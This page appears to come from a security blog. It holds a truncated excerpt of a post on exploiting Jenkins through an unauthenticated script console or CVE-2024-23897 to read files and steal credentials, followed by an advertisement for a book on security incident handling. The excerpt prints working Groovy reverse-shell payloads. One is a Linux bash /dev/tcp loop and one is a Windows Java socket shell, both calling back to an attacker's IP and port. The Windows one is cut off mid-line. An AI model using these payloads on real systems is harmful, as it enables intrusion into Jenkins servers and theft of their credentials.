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Exploiting Jenkins + CVE-2024-23897

Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()   For Windows,   String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...

New book on Security Incident handling




Security Incident Handling: A Comprehensive Guide on Incident Handling and Response

Covers,

  • Security Incident Handling Framework
  • Types of threats and it's countermeasures
  • Building an effective security incident handling policy and team
  • Prepare a Security Incident Report

This book has four major sections,
The first section gives an introduction on Security incident Handling and response frameworks. Also give a glimpse on Security forensics and Risk Management concepts.
The second section explains different kinds of security threats and attacks that can result in potential security incident. Being familiarize with the attacks are very important for identifying and categorizing a security incident.
The third section mentions the security controls and countermeasures to detect, prevent or/and to mitigate a threat. This includes the detection mechanisms, defense in depth, vulnerability management etc.
The strategy and plan for building an efficient Security Incident Handing is comprehensively explained in the final section. The six phases of a security incident handling and response are explained step by step.  

Buy from Amazon

 

 

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